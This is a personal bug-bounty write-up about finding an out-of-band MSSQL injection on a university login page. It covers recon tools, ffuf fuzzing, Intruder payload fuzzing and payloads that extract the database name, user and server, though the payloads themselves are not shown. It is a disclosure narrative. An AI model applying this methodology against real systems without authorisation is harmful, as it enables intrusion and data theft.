Breaking Past 403: A Deep Dive into Out-of-Band SQL Injection Discovery

Hi everyone! Hope you're all doing well. It's been a while since my last article — probably a few months. Work and university responsibilities have really taken up most of my time, to the point where it's been hard to just sit down and write, even though there were so many things I wanted to share and document. This time, I'm coming back with an interesting story related to an Out-of-Band SQL Injection.

What is Out-of-Band SQL Injection?

Out-of-band SQL injection (OOB SQLi) is an SQL injection technique where the attacker doesn't receive data through the same communication channel but instead forces the application to send information to an attacker-controlled endpoint. This attack works only if the database server supports functions that trigger DNS or HTTP requests — which most major SQL servers do.

It all started when I joined a VDP program at a university in my area. Let's just call it site.com. When I tried accessing site.com, it showed a 403 Forbidden page.

Initial Reconnaissance

Before continuing with other enumerations, I first checked what technologies were being used and whether there was any WAF by using the Wappalyzer extension and wafw00f.

From the analysis, we can see that it's using Windows Server and there is no WAF. Therefore, we proceed with directory fuzzing using ffuf.

Explanation of the command:

• ffuf : runs the ffuf tool
• -u : target URL
• -w : wordlist (for this fuzzing, I used wordlists from SecLists)
• -fs 0 : filter to avoid responses with size 0
• -c : colorizes the output, just to make it look a bit more "hacker-like" :')

From the directory fuzzing results, there is an admissions directory that returned a 200 status. I then tried fuzzing it again using the following command:

And I got several results such as auth and others.

In my browser, I accessed https://site.com/admissions/auth and got a login page.

Testing the Login Page

I registered an account and tried exploring the login page using SQL bypass techniques and other injections. However, none of them produced any results.

I also tried fuzzing and enumerating other directories or ports, but everything returned 403. After two hours of searching and finding nothing, I decided to step back for a moment and make myself a cup of coffee.

The Breakthrough

After resting and finishing my coffee, I came back and started to wonder — why not try injecting with MSSQL-specific payloads, considering the website is running on Windows Server? So I looked for references on the internet related to SQL injection payloads for Windows Server, expanded them using AI to generate a list of payloads, and then used Intruder to fuzz them.

One of the SQL injection payload lists: https://github.com/payloadbox/sql-injection-payload-list

I configured the injection to place the payload after kubochan@gmail.com[INJECT] and set a delay of 1200 ms to ensure the payload would execute. After waiting for a while, I received a response from Intruder that caught my attention.

Most of the responses were 547, containing the message "You have to confirm your account first through…". However, I received one 577 response with the message "Login Invalid, Email not found, Try Again".

Hmm, this is interesting. I checked the request that produced that response, and the payload was:

Suddenly, my enthusiasm ignited — it felt like seeing a ray of light. That was my initial thought, but even after three hours, I still hadn't made any real progress. After exploring further, I realized there might be a character limit in place, so I tried splitting the original payload into:

I smiled, realizing that this was an Out-of-Band SQL Injection. But this still didn't show its critical impact. So I spent the next two hours crafting payloads until I finally produced several that worked, because there were specific conditions required for the payload to execute.

Final Payloads

Here is the list of working payloads I created:

Get Database Name

Get Current User

Get Server Name

If you're wondering how I figured it out, it was simply curiosity — I spent time reading and experimenting through trial and error. I initially intended to push it further to achieve RCE, but I felt it wasn't necessary. I immediately submitted a report to the VDP program.

Conclusion

Writing this down reminded me how much I enjoy breaking apart real security issues. The process of analyzing it and turning it into a narrative felt genuinely refreshing.

And this wasn't just a minor bug — an Out-of-Band SQL Injection is a serious vulnerability. It was the first time I had the chance to dive this deep into one, and I don't often encounter findings like this. Hopefully the story makes sense and gives a clear picture of what happened.

Maybe that's all from me. I'm RyuuKhagetsu, see you in next article.